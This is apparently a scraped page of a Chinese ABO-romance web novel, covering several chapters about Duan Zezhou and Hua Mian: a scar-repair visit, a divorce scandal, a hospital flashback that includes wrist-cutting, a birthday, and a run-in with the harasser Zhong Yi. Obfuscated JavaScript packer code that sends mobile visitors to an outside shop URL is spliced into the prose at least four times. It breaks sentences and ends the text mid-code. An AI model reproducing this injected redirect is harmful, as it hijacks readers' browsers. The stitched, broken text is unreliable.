他的手腕内侧,刻着数不清的、深深浅浅的伤痕。有一些没有恢复好,增生了,凸起的伤痕蚯蚓一样蜿蜒着。 其中几道颜色已经氧化成了很深的暗红色。 这些痕迹却并不骇人。它们安静地躺在花眠白皙的皮肤上,没有被发现,更不被人提起。 前台小姐姐明显愣了一下,又很快地换上职业性的微笑:“可以的哦,一起请医生看一看,选个性价比最高的套餐。” 花眠看看段泽洲,用眼神问他的意思。 段泽洲无所谓钱,也不觉得麻烦,他只担心这里的医生不够靠谱,没能给花眠整好。 他接过花眠的衣服,示意他先进去给医生做个评估,然后不着痕迹地“威胁”了一句:“这是上次那个案子的当事人给我推荐的,说是xx医院新设立的独立机构。你先去看看,不靠谱的话我去收拾他。” 前台带花眠去找医生后,段泽洲在大堂里找了个地方坐着——说是有些患者不愿意在亲近的人面前暴露伤口,所以不建议段泽洲跟着。 段泽洲心想,这是什么狗屁说辞。他看了一眼已经快被忽悠晕了的花眠,又实在没好意思开口。 精明的段律师不想扫爱人兴,稍一思量又觉得,医生技术靠谱就行了,其他的什么礼包什么推荐什么套餐,吃点亏就吃点亏吧,左右不过多花点钱,就当是买花眠高兴了。 想通了这一点,段泽洲在大堂里安静地坐了下来, 直到今天,他仍然没有问过花眠这是忽然想起了什么,想要去修复身上的伤痕。 怎么说呢,并不是因为不重要,而是……段泽洲知道,不管这是因为什么,都不可能再影响花眠现在的生活了。 不过—— 好吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078900|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些话不能说,连想都不能想。 段泽洲头疼地看着正朝着自己走来的女人,阵阵无语涌上心头。 “好久不见,小洲。” 段泽洲牙酸地说:“你们再用这种叫小辈一样的称呼叫我,我就翻脸了啊。” 女人笑笑,换了个称呼:“好吧,段老师,你架子好大啊。” 段泽洲极无语地看了她一眼,说:“蔓熙姐,你知道我架子大,就别惹我。” 来人名叫许蔓熙。她是……钟意的妻子。 更准确地说,是钟意的准前妻。 钟意和许蔓熙要离婚这事闹得满城风雨,整个海城无人不知。 一年前开始打舆论战,半年前开始打官司,每天你方唱罢我登场,你爆料我出轨,我爆料你赌博;你控诉我道德败坏,我就亮证据指控你涉嫌违法。 非常标准的一套豪门离婚策略。 虽说有专门的团队负责这些,但当事人完全不受影响是不可能的。许蔓熙的状态看上去并不好,她很疲惫,刚做完美容也掩盖不住眼底的倦意。 她主动开口说起了离婚的事,不知是开玩笑还是认真,竟想让段泽洲给她介绍一个律师团队,来帮她打这场旷日持久的离婚大战。 段泽洲吃不准她到底是什么意思,打了个马虎眼糊弄过去:“蔓熙姐,我能给你找到什么好律师?你想找律师,什么好律师找不到?你就随便找一本法学系的必修教材,照着上面的编著人物找,总有人肯接。” 许蔓熙却根本不吃这套:“段老师,你不给我面子。” 段泽洲甚至不想反驳这句话,就这样继续看着许蔓熙。 * 段泽洲的父亲早早地退出了他们那个看似风光的圈子,段泽洲和许蔓熙自然也谈不上多么熟悉,泛泛之交而已。 钟、许两家的联姻也是非常典型的豪门结合——许家找人测过八字,说钟、许两人是难得一见的八字相合,两人结合,对双方家庭都大有裨益。 当年这场婚礼,也算是坊间的一大谈资了。 时过境迁,这场婚事到了如今,也只剩下一地鸡毛。 钟意外面的人没断过,许蔓熙不管,只说钟家有这种儿子是他们家的耻辱,该丢脸是他们钟家。 她只专心管她的生意,挖空钟家的同时,还给钟意扣了个偷税漏税的帽子。 许蔓熙也好,钟意也好,他们都是为了达到目的而不择手段的人。非必要情况,段泽洲懒得理他们,也不想理他们。 见段泽洲完全没有接话的打算,许蔓熙也没坚持。她笑笑,拢了拢耳边的头发,问起段泽洲的近况:“段老师,今天怎么会来这里?” 段泽洲抬眼看了她一眼,露出个无法形容的笑,说:“我陪我太太过来的。” 许蔓熙没有理科反应过来,犹豫了片刻后略有些不可思议。但她到底是经历过大风大浪的人,很快调整好表情后,说:“真巧,我今天也过来做美容。” 说罢,她看看腕表,道:“时间不早了,段老师,今天事情太多,改天再请你和太太吃饭吧。” 段泽洲一耸肩。原本,这句客套话他都想怼回去,但又一琢磨,许蔓熙谈不上对不起他们、对不起花眠,甚至,某种程度上来说,许蔓熙也算是受害者之一,刻薄的话就咽了回去。 最后,他只无可无不可地点了点头,和许蔓熙道了别。 目送那人离开后,段泽洲无奈地想,和花眠在一起的时间久了,他都变得好说话了。 许蔓熙推门离开的时候,花眠刚好从诊室走出来。 她听到身后的动静,回头看了一眼。 花眠或许不认识她,但她是知道花眠的。 毕竟,当年钟意为了个男Alpha和沈重大打出手,也是让她下定决心离婚的导火索。 她看着花眠拿着一堆资料坐到段泽洲身边,神色宁静又安谧。 再去看看旁边的段泽洲—— 他也是一样的平静和快乐。 许蔓熙的心里忽然涌上来一股说不清道不明的情绪。 又或许是……刚刚段泽洲的那句“太太”有些刺痛了她。 不被看好的感情,错综复杂的关系,不知有多少人在等着看他们的笑话。 可如今……许蔓熙紧了紧身上的大衣,在心里嘲笑了一番机关算尽却竹篮打水一场空的准前夫。 该被笑话的,明明另有其人。 9.09 段老师养花日记(3) 钟意搅和到沈重和花眠中间,是个既意外也不算太意外的情况。 和早早远离这群红三代太子党的段泽洲不同,钟意和沈重自小便一起厮混,把特权咖的种种恶习发挥到了极致。 最早还会收敛一些,后来,大约在钟意十六七岁的时候,无证驾驶撞死了人,沈重替他顶了包——倒不是因为他们的关系多么的“亲密友好”,纯粹是因为沈重是个物理意义上的精神病,太多的法律拿他无可奈何。 自那以后,这两人彻底沦为狐朋狗友,整日在海城横行霸道。 这样的两个人会分享伴侣,在他们这个道德底线极低的圈子里,倒也不能算是了不起的大事。 但,沈重毕竟有精神病。最早似乎是默许的,但钟意真的碰了花眠,沈重又发火了。 这件事引发了一系列的连锁反应,例如许蔓熙终于无法忍受这样丢脸的传闻,决定起诉离婚。例如沈重疯得更厉害了,疯劲上来的时候不管不顾,连自己家里的腌臜事也能拿出来说。 但事件中心的另一位当事人的内心,却是完全无人在意的。 花眠从医生的办公室里出来之后便一直喋喋不休地给段泽洲介绍着这几个套餐的区别。 医生方才大约是给他做了什么检查,脸上涂了一些像是酒精的东西,摸上去凉凉的,也很滑。 他的嘴巴开开合合,讲得飞快。 段泽洲左耳听进去,右耳又冒出去了。 他看着面前爱人的脸,逐渐走了神。 初遇花眠时,那人毫无生气的面容突兀地跳进他的脑海里。 而如今…… 曾经瘦弱的身体长了些肉,总是苍白无神的面色现在那么红润生动。 这些都是我的功劳,段泽洲想,这都是我养出来的。 他专注地盯着花眠看了很久,看得花眠都有些脸热了。他推了推段泽洲的脸,小声问:“干什么?” 段泽洲浅浅地笑了笑,随手在产品套餐上指了个最贵的:“就这个套餐吧。” 花眠说:“这个好贵!我觉得很多东西都没有必要,” 段泽洲财大气粗地说:“就它吧,只贵一万块钱,用得起。” 他又摸着花眠的脸颊,说:“花老师,这个套餐贵出来的一万块钱,用拟做的饭来还。” 说着,他立刻点起了菜单:“我今天晚上要吃宫爆大虾球。” 花眠笑眯眯地说“好好好”,想了一会儿,不知是开玩笑还是真的疑惑,问道:“段老师,你怎么老是喜欢吃这些小孩菜。” 段泽洲哼哼:“因为段老师有一颗孩童般的心。” 花眠有点被他雷到:“……你能不能正经点。” 不太正经的段泽洲预订下今晚的晚饭菜单后便觉得自己搞定了人生大事一般。他放下手里的广告,搂着花眠的肩膀起身准备离开,笑着说:“不正经怎么了?不正经有不正经的好处。比如,段老师今天骗到了一盘宫爆大虾球。” * 回去之后,段泽洲还是给许蔓熙找了一位律师。 倒不是因为他多想帮助许蔓熙,而是因为……这位律师是他前阵子很想提拔的一位新锐。 后来他发现这位律师很有点想结识“大人物”的想法,便觉得自己和他道不同不相为谋,也就算了。 现下有许蔓熙这个机会,他又想起这人,决定还是给他推一推。至于这人能不能接住,那就是他自己的事情了。 但最终,这个事情也没成——许蔓熙这离婚官司又不打了。 说是钟意的母亲钟万停终于觉得丢不起这个脸了,大发雷霆,给了钟意一个耳光之后,亲自带着他上门给许家道歉去了。 钟万停何许人也?当今的组织部长,实实在在握着权力的人,不给谁面子也不能不给她面子。 这场折腾了好几年的离婚闹剧,就这样悄无声息地结束了。 得知这个消息的时候,段泽洲正在书房和父亲讲电话。 段恒一边改着学生的论文,一边说:“钟万停早晚要栽在她这个倒霉儿子身上。” 段泽洲乐了:“那是。谁能有咱老段头这命啊,您儿子多听话多懂事多乖巧啊!” 段恒:“真的吗?我看未必。钟万停当年跑咱家里大闹一场为的是什么?” 段泽洲从善如流:“为的是她不成器的儿子。” “嘿!”段恒也无语了,但一想这是当时自己堵钟万停的那套说辞,便也没话可说了,只说,“唉,不说她了,让她瞎折腾去吧。反正老段头还活着一天,姓钟的也好姓沈的也好,谁也别想欺负咱老段家的人。” 与此同时,书房外的客厅里,花眠也看到了一个新闻。 神奇的大数据把钟意和许蔓熙携手游玩的偶遇推送到了他这里。 他看着屏幕上旁若无人秀起恩爱的两个人,心中只觉得好笑和讽刺。 他在这篇笔记上设置了“不感兴趣”,又继续查找着别的东西。 不知不觉,这个冬天快结束了。 又是一个冬天,又过了一年。 他在app上输入关键词,识图搜索“中年女性”“地位”“优雅”“鞋”,然后在一群乱七八糟的结果中眼花缭乱地挨个看着。 就快开春了,他又在打算给林见清买双新的鞋子了。 和段泽洲相爱的这些年里,花眠每个季节都会给林见清挑选一双新鞋子。 林见清是法医,平时也教书,做的都是长时间站立的工作,最需要一双柔软舒适的鞋子。 第一次送出礼物的时候,林见清拒绝了其他的,只留下了一双不算贵重的单鞋。自那以后,花眠每次都会精心挑选。 他记得林见清对他说过的话。 穿新衣,戴新帽,踩新鞋,以后,也要走一条新的路。 * 段老师养花日记(3) 第二天,我又去医院看望花眠了,顺便还带了鲜切水果盘。 老太太说,外面卖的鲜切水果你看不见制作过程,说不定都是腐烂的水果,把烂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085627|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方挖掉,给你摆了个拼盘。 我寻思也是,干脆自己买了水果自己切了带去。 段老师,人帅心更美(敲木鱼)。 要说这年轻人恢复就是快哈,昨天还一副要死不活的样子,今天看着平静多了。 平静……吗? 平静吗?!!!! 不是,这小屁孩为什么在割腕啊!!!!! 段老师快吓哭了(没有),一边尖叫(不是)一边去找护士。 见多识广的护士也吓懵了,赶忙去联系住院医生,开了药赶紧给他包扎。 这护士是个心急口快的性子,包扎的时候骂骂咧咧(喂)的:“好不容易把你从车轮子底下救过来,现在你又自残?有什么事想不开非要自己伤害自己?!这医院里这么多人拼了命地想活下去,而你能活下去,为什么偏偏自己伤害自己!!” 花眠也不知道在想什么,沉默了一会儿,说了句“对不起”。 嗨,咱也不知道现在这小年轻脑袋里都在想什么。 伤口包扎好之后,我准备走了,段老师日理万机,实在很忙,看望伤员都是压缩了自己的午饭时间来的。 离开病房前,我听见花眠不知在给谁打电话,很轻声地说了句威胁的话:“你敢过来,我就再割一刀。” 就,挺难想象的(试图比划)。 你们能想象吗,那种软绵绵的、捏一下就会咕叽叫的毛绒绒小狗,忽然站在你面前恶狠狠地威胁你,的那种感觉。 同时,我也终于搞明白了,原来闹这么一出,是因为和对象打架。 唉,你们这些小年轻啊,什么情情爱爱的,到了段老师这个年纪你们就知道了,这些东西,是最—— 哎,碰见个老熟人。 额,今年遇到的惊悚事未免太多。 不是,有点诡异了啊,不是都说沈重死了吗! 闹鬼了我的天呐。 “好,好,你不要激动,宝宝。” 沈重说话的声音和语气都有点恶心,这是可以说的吗…… 比“你以为死了很久的人其实没死”更惊悚的是,“小时候跟你一块儿玩泥巴的死小孩长大之后变成夹子音了”。 但沈重并不觉得自己这样子说话很做作且恶心,他继续说:“那我不进去,我就在门口,好吗。宝宝,你总得吃饭吧。” 听到这里,我终于意识到哪里不太对劲了。 我向后退了几步,避开沈重的视线,又小心地回到花眠的病房。 就在这时,病房里传来了碗碟掉落摔碎的声音。 花眠打碎了我带来的水果切盘,很吃力地用一只手撑在病床上,另一只手下去捡起一块碎片。 床边,他的手机亮着,他正在和人打电话。 我怔愣着站在原地,不知该先去扶起他,还是先收走地上的碎片残渣。 这时,我的身后又传来了凌乱的脚步声。 有人先我一步,过去扶起了花眠。 是沈重。 10.10 冬去春来,一转眼,这个冬天就结束了。 进入春天后,花眠的生日也到了。 花眠的生日很好记,是一个挺特殊的日子,在4月1号,刚好是愚人节的这一天。 这些年过愚人节的人少了很多,从前还上高中的时候,班上的同学时常会在这一天跟他开一些无伤大雅的小玩笑。 现在想起这些,花眠只觉得恍如隔世。 好在,还是有人记得他的生日。 他的大学同学们在写论文的繁忙之中,抽出了一天时间给花眠过生日。 这是他们班的传统了。班上只要有人过生日,大家必定聚在一起给他庆祝。 他们这个班集体感情好得让人羡慕。 花眠平时不住宿舍,跟大家的关系倒也不错。他知道班上的同学在给他准备庆祝生日,为了表示谢意,便自己也做了一些蛋挞和小蛋糕,等到这一天送过去,请大家一起品尝。 为此很是忙碌了好几天。 吃饭的时候有男生喝酒,醉话从不知道怎么写的论文,聊到近在咫尺的未来,再到不知道怎么继续下去的恋爱关系。 说着说着很是感伤,还掉了几滴眼泪。 也有人凑到花眠身边问着他以后的打算。 花眠没有什么打算,也不知该怎么回答这个问题,只能说:“走一步看一步吧。” 问话的那人嘴里还在吃着花眠亲手烤的蛋挞。 手指动一下,都是蛋液的香气。 他两口吃掉蛋挞,说:“还有两个月,大家就要分开了,也不知道以后还有没有机会再见面。” 喝醉了的人说的醉话,说者无意,听者倒是有心了。 花眠抽出一张纸巾递给他擦手擦嘴,自己想了一会儿,很温和地笑了笑,眼神却无比认真。 他说:“总归还是有机会见到的。就算以后大家天各一方,但有缘的人,总会有再见面的那一天的。” * 大学生疯起来是不管时间的。一个生日的小小庆祝,也闹到了大半夜。 花眠没有喝酒,在这个为了他而举办的小小聚会里,他作为主人公,留到最后,反而是最清醒的那一个。 他给不住在宿舍的同学们叫了车,叮嘱他们到家之后一定要给他发个消息,又一趟一趟把住在宿舍的同学们送了回去。 折腾了一晚上全都弄完,结束之后都快3点了。 他倒是还好,本来也不是什么早睡早起的人,只苦了一直等他的段老师。 段泽洲坐在车里困得哈欠连天,最后干脆睡着了。 花眠走出学校小跑着来到车旁,敲了敲窗户都吵不醒段泽洲。 花眠坏心眼地想,段老师平时总说自己睡得像猪一样,看来所言不假,倒是个诚实的男人呢! 最后还是打了个电话,才把熟睡的人叫醒。 段泽洲捋了一把头发,睡眼惺忪地把放平了的座位重新立好。 他打开车门,让花眠上了车,带着浓浓睡意问了一句:“结束了啊。” 平日里大律师的精明模样不见了,段泽洲甚至穿着睡衣睡裤,一脸懵地坐在驾驶座上。 花眠看了好笑,说,“我来开车吧。” 段泽洲摇了摇头,搓了一把脸,再睁开眼睛的时候神色已经恢复清明。 “你歇着吧,我来。” 说着,他扭头看了一眼花眠,说:“花老师今天好漂亮啊!” 花眠有点害羞地抿了抿嘴,没说话。 他今天起了个大早,好好地打扮了一下自己。 垂至肩膀的长发被他吹了小卷。一整天过去了,形状也保持得很漂亮。 花眠用手卷了卷发尾的头发,小声说:“研究了半天呢。” 段泽洲看了觉得可爱得很,伸手揉了揉花眠的头发,说:“花老师人美,手也巧。” * 繁忙的段律师赶了几天的进度,暂时忙完了手里的工作,也抽出一天时间,请假在家好好地布置了一下家里。 他打扫了一遍家里的卫生,挑了一些花眠原先放在另一间卧室里的重要东西,搬到他们的主卧。 在收拾东西的时候,段泽洲还找到了一件有点年头的小东西。 是一个枫叶标本。 他放下手里的所有东西,拿起那个标本仔细地看着。 枫叶很红,塑封保存了三年,颜色也没有褪去。 这片叶子长得很对称,左右两边的胖瘦高矮都差不多,一打眼看去精致得像张对称的画。 ……不枉段泽洲当时蹲在地上找了快半个小时。 他想起那时候的事,笑了。 这笑意有一部分是在嘲笑自己当年的傻里傻气,也有一部分是在感慨花眠的用心。 一片叶子也能保管得这样好。 他把这个标本也拿回了主卧,打算想个办法挂到墙上。 后来想想还是算了。 把这个东西放在随时都能看到的地方,反倒显得有些刻意了。 这些相爱的往事不需要刻意提起,它们一直都在那里。 两人回到家中后,花眠很快就发现了这些物品的变化。 他噔噔噔跑回自己原先住的房间看了看,又回到主卧看了看,最后坐到沙发上,一头扎进段泽洲的怀里。 微卷的发尾柔顺地缠在段泽洲的手掌里,那点凉意逐渐被温暖的掌心赶跑。 段泽洲煞有介事地说:“花老师,经段老师考验,你的作息时间,不会影响到我这个熟睡之后就像猪一样的人,特许你长期在这间主卧住下。” 神经兮兮的。花眠笑着小声说:“那我是不是还要谢谢你?” 段泽州给个台阶就上:“不客气。” 两个人安静地靠在一起。几分钟后,段泽洲说:“明天请了一天假,我们也过过生日。有想去的地方,或者特别想吃的东西吗?” 段泽洲做饭的手艺谈不上特别好,大概只能勉强到可以入口的程度。 说起来也不能怪他,段老师平时是不做饭的人,他和林见清一样,对外卖来的垃圾食品情有独钟。 真正开始琢磨着自己做饭,还是刚和花眠相爱的那段时间。 那时花眠不好好吃饭,也不好好睡觉,整日就一言不发地闷头沉默着。段泽洲为了哄他吃饭,学了挺久该怎么烧菜。 幸好段律师头脑聪明,动手能力也强,前后两周时间,他已经从一个从没下过厨房的人进化到了虽然卖相不怎么好看,但味道还算可口的程度。 最难捱的那段时间里,段泽洲一口一口喂着花眠吃饭。 后来花眠逐渐振作起来,便主动包揽了做饭的责任——他明里暗里说过好几次,段泽洲做饭这个手艺……不能算太好。 不知是不是因为想到这个,花眠抿着嘴摇了摇头,说:“不用啦,我什么都不想。” 他靠在段泽舟的肩膀上,微微抬起眼睛看着他,小声说:“我只想一直跟你在一起,就像现在这样。” 他坐在段泽洲的身旁,两条腿搭在他的膝盖上,双手轻轻环着他的脖子。 说完这句话,花眠双手微微用力,让段泽洲低下头来和他靠得更近。 “我觉得现在这样就是最好的啦,我每天都觉得好幸福。” 花眠并不是经常表露感情的人,但他撒起娇来也实在让人很难抵挡。 这个瞬间段泽洲觉得世界都安静了,安静到他只能听到身旁的小爱人清浅的呼吸声。 他像是有些不自在地清了清嗓子,用自己的鼻子碰着花眠的脸颊,开玩笑一样说:“段老师都这个年纪了,听不了这些话,你别天天肉麻兮兮的。” 花眠鼓着脸,很小声地哼了一声,戳了戳他的肩膀,继续安静地靠在他的怀里。 花眠那么开心,那么快乐。 他的手指搭在段泽洲的背上,不知在和着什么样的节奏轻轻点着。 渐渐的,空气中散开了一股若有似无的榛果香味。 段泽洲也闭着眼睛,闻到这味道之后,先笑了:“谁家的Alpha信息素偷偷跑出来了?” 花眠看了他一眼,好像想说点什么,最终又没好意思开口。 段泽洲便自己回答道:“我们家的,我们家的。” 信息素并不是个安全的话题。 即使他们毫无保留地相爱着,在大多数的情况下,也会避免主动谈起这个话题。 一方面的原因是……花眠曾经被沈重用一些不合法的手段注射过强行改变分化性别的药品。 花眠被这些注射进身体的药剂损伤了腺体,信息素味道变得很淡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112235|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实花眠自己并不太在意这些,但段泽洲总是觉得心疼。 几分钟之后,这点浅浅的榛果味道散了,空气里只留下了一点甜甜的坚果香味。 花眠却在这时换了个姿势。 他坐到段泽洲的腿上,主动凑过去吻他的下巴和唇角。 段泽洲侧过头去,想要回吻住他,却被花眠躲了一下,避开了。 花眠的长发挨着段泽洲的侧脸。发丝又重新变得微凉。 花眠的吻和他这个人一样柔软,落在段泽洲的脸颊,轻得像羽毛。像是被哪只调皮的小猫用肉垫轻轻地拍了脸。 而这个吻的落点,那么靠近Alpha口腔里的腺体。 “哥哥,你疼吗?”花眠问他。 段泽洲垂眼看他,轻声说了一句像是甜言蜜语的真心话:“你不疼,我就不疼,眠眠。” 他看不清花眠的神情,只觉得花眠大概又会哭了。 下一刻他听到花眠吸了吸鼻子,带着极不明显的鼻音,轻轻说:“我不疼,哥哥。我觉得我是世界上最幸福的人。” * 不知是不是因为折腾了一天,也实在是累了,花眠靠在段泽洲怀里,不知不觉竟睡着了。 这可真是天大的稀罕事儿。 段泽洲新奇地看着小恋人的睡颜,脸上是自己都未曾发觉的柔和和温暖。 今天,是花眠25岁的生日。 有的时候,段泽洲也会想,命运真的是很奇妙的东西。 经历了这么多,扛过了这么多。花眠过去那几年的人生,复杂得像是走完了别人的半辈子。 可如今一看,他不过才25岁的年纪。 25岁,正是该肆意盛开、肆意绽放的年纪。 段泽洲怀拥紧怀里的小爱人,心里软得一塌糊涂。 花眠25岁的生日就在这样平淡祥和的氛围里过去了。 他也没有心情在生日这件事情上耗费太多时间——他快毕业了,他得准备毕业论文。 之前的毕业论文按照林见清的意见进行了修改。改过之后,花眠反复纠结了很多天,最后鼓起勇气,把改后的论文发给了林见清,准备接受她的审判。 林见清当时大约在忙,没顾得上理他,只淡淡地回复了一句,你先给小洲看看。 花眠如获大赦,赶紧把自己的论文发给了段泽洲。 ……但是他高兴的太早了,他好像忘了,段泽洲也是在政法大学挂了副教授的名的。 段家这一家三口,就属段泽洲的职称最低。 段泽洲的态度要比林见清委婉一些:“眠眠,这个逻辑你再捋一捋。” 花眠沮丧地瘫倒在地。 但,有人指导总是好的。 在段泽洲的建议之下,花眠把论文的框架重新梳理了三遍,最后终于勉勉强强得到了段老师的允许,把论文交上去了。 也很顺利地一次通过了——不仅一次通过,还被按下来报了优秀论文展示,一周之后进行第二次汇报。 花眠觉得天都塌了。 失魂落魄地熬到了下一次答辩,花眠握拳暗想,这一次要表现得差一些,绝对不能再被评优秀了! 他挤在一群学霸里,茫然得像是一只混入了国际象棋棋子的萨摩耶。 幸好幸好,这一次的答辩,他以一分之差被刷掉落选,没有再被选中参与市里优秀论文的评选。 花眠心情很好地收拾着东西,一路哼着歌交了论文准备回家。 ……然后,在教学楼门口遇到了阴魂不散的钟意。 不打离婚官司的钟意看上去颇为春风得意。他似乎盯着花眠很久了,连他今天来做什么都一清二楚。 彼时花眠刚洗过手,正往手上擦着护手霜——鼓捣这些烘焙太久了,花眠手上的皮肤总是有些干燥。段泽洲一箱一箱往家里搬着护手霜,几乎在家里的各个角落都摆上了。 手里的这款樱花味道的护手霜花眠不是太喜欢,用得也慢。 带着点香精的甜味在空气里逐渐蔓延开,毫不意外地落进了钟意的鼻子里。 他的视线从花眠脸上逐渐挪到手上。他盯着花眠将手里的东西放回口袋后,才笑着开口,说:“每天做饭把手做成这样。小洲就是这么养你的?听他豪言壮语的,我还以为把你养得多好。” 11.11 花眠并不知道自己之前和段泽洲去医院的时候偶遇了钟意的妻子,自然更不知道在那之后他又被钟意盯上了,只以为是这人终于摆脱了离婚官司,有时间、有精力出来游手好闲一番。 他不想理他,连句奚落的话也不想说,收好自己的护手霜后绕过钟意打算离开。 钟意也没再说话,只一路跟在花眠身后,看这架势,竟像是要送他回家。 而且钟意似乎心情很不错,一路上都噙着笑意,很一副衣冠禽兽的样子。 花眠加快脚步。 虽然知道钟意不太可能真的一路跟他回家,但……心里多少还是非常抵触。 说起来,虽然段泽洲和其他那两家并没有太多联系,但彼此之间有种颇为默契的底线——绝不闹到对方家里。 当年为了钟意的事情,钟万停亲自出面找过段恒,碰了个软钉子后也算是丢尽了脸,那之后就更不会再往段家面前靠。 只有钟意这个败家子,面子也不要里子也不要。 刚走出校园的时候,花眠一眼就看见了街对面停着的段泽洲的车。 他挺惊奇地“啊”了一声,瞬间把跟在身后的瘟神抛到脑后。 段泽洲最近事情很多很忙,都好几天没在九点前下班回家了。 今天居然有时间来接他回家! 花眠小跑着过了马路,想要快快赶去段老师身边。 走到马路中间才想起身后还跟着一个煞神,又不高兴地抿了抿嘴,放慢了脚步。 身后,钟意也跟他差不多。 在看清车里坐着段泽洲后,他干脆停下了,半秒钟后意识到自己站在大马路中间,才不情不愿地又往前走了两步。 相比这两人,段泽洲倒是并不意外。 上次偶遇许蔓熙时他就猜到了,等钟意解决了手里的事,必定还会过来骚扰花眠。 段泽洲有时真的觉得钟意很好笑。 这人话里话外看不起他,觉得他为了花眠做了那么多事很丢脸。 可说来道去,钟意此人的种种行为也不过是记恨他抢走花眠。 恨人有,怨己无。 但段泽洲也并没有太多所谓“胜利者”的骄傲和快乐。 他和花眠一样,看见钟意就觉得晦气到家了。 他犹豫了一下,手伸到车子后座,从购物袋里挑挑拣拣,找了个一看就不怎么好吃的小蛋糕揣进口袋里,之后推开车门,下了车。 和钟意打招呼时,还是挤出个笑:“钟总,春风得意啊!” 他不爽钟意,钟意自然也讨厌他。 那人表情差点没绷住,几乎咬牙切齿地也挤出一个笑:“亏了段老师介绍的律师说服了蔓熙。” 段泽洲“哟”了一声:“还成我的错了。” 他说着话,大大方方地把花眠拉到自己身后。 他接过花眠的包,低声问了几句答辩的情况。 挺正经的事,偏偏段泽洲说得很小声,像是连这样日常琐碎的小事也不愿意让无关紧要的钟意听去。 花眠被他拥着推进了车里。。 车门没关,段泽洲就站在外面和他说着话,Alpha高大的身影完全遮住了车里的人,就像是一道无形又压迫感十足的壁垒。 钟意落在段泽洲背上的视线极有重量,恨得几乎快要把那人的盯出一个洞。 段泽洲,又是段泽洲 又是这个人,他又在自己眼皮子底下把花眠带走了。 从小到大,钟意习惯了呼风唤雨的生活。 他想要什么都有。 钱,东西,人,他想要的,挥挥手就有人送到他身边。 他说不清他对花眠究竟是什么心情,是真的很放在心上,又或是仅仅因为不甘。 段泽洲和花眠说了几句话,关上了车门,这才回头正视钟意。 这一次,段泽洲收起了职业性的微笑,冷着一张脸看向对面的人,问话的声音不大,气势却隐隐盖了对方一头:“钟总,你天天盯着我太太,你变态啊?” 钟意笑着说:“小洲,打嘴炮我说不过你。” 段泽洲惊奇道:“动真格的你也不是我的对手啊。起码我不会因为整天乱搞被前妻踹了,闹得人尽皆知。” 对于这件事情,钟意只觉得丢脸——对许蔓熙非要把这件事闹大而觉得丢脸,但并不觉得自己做错了。 他慢条斯理地说:“我什么都不做,也会有人愿意躺到我腿上,这也能赖我?” 段泽洲笑道:“倒是很少见有人会这样形容一只狗在发情。钟总好文采啊。” 钟意的脸色僵了一秒,又很快调整过来:“我说了,打嘴炮我说不过你。” 段泽洲耸了耸肩,慢悠悠走到钟意面前,从口袋里掏出小蛋糕想要递给他,还随口编了个瞎话蒙他:“眠眠做的,想吃吗?” 钟意潜意识觉得段泽洲不可能有这种好心,但还是被“花眠做的蛋糕”这个形容短暂地迷惑住了。 他带着一点疑虑,缓慢地朝段泽洲走去—— 随后,段泽洲把这块蛋糕啪地扣在钟意脸上! 钟意本就心怀戒心,可真正想躲的时候还是慢了半拍。 粘腻的奶油裹在滑溜的包装纸上,黏糊糊地糊在他的下巴上。 而在他面前,段泽洲沉下脸低声道:“姓钟的,下次再让我见到你骚扰眠眠,就别怪我不给钟部长面子了。” 到了这个时候,在说出威胁的话的时候,段泽洲口口声声顾虑的还是钟万停的面子。 很难说究竟是那恶心的蛋糕香味更让他不爽,还是段泽洲从来都只把钟万停放在眼里这件事更让钟意难堪。他眯起眼睛,英俊的面容在那一点点奶油的映衬下竟有些扭曲。 他伸手就要扣住段泽洲的脖子—— “省省吧你。”段泽洲一个侧身就躲过了,“咱俩和沈重都是一个格斗老师教的,你那两下子还跟我动手?” 再坐进车里的时候,段泽洲仍然一肚子火。 他时常觉得奇怪,花眠这么温和的性子,怎么会招惹上沈重和钟意这两个手又脏又疯的神经病。 但,当他拉开车门、看到花眠的时候,心里那股冲天的火气又奇迹般地被浇熄了。 花眠坐在副驾,手里捧着原本放在后排的食物袋子,正在往嘴巴里塞着麻薯。 嘴巴塞得满满的,两颊鼓得像小仓鼠。 他看到段泽洲回来,眨了眨眼睛,悄悄地把手里没吃完的麻薯装回包装袋里。 ……段泽洲不让他在车子上吃东西。 段泽洲的心里仿佛雨过天晴。 他看着花眠的小表情,心里种种情绪都翻了篇。 “在偷吃什么?”他故作严肃,“张嘴我看看。” 花眠快速嚼了几下,又喝了口水,含含糊糊地说:“等我消灭一下证据。” 段泽洲的心里像是被小猫抓了一下,又软又麻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 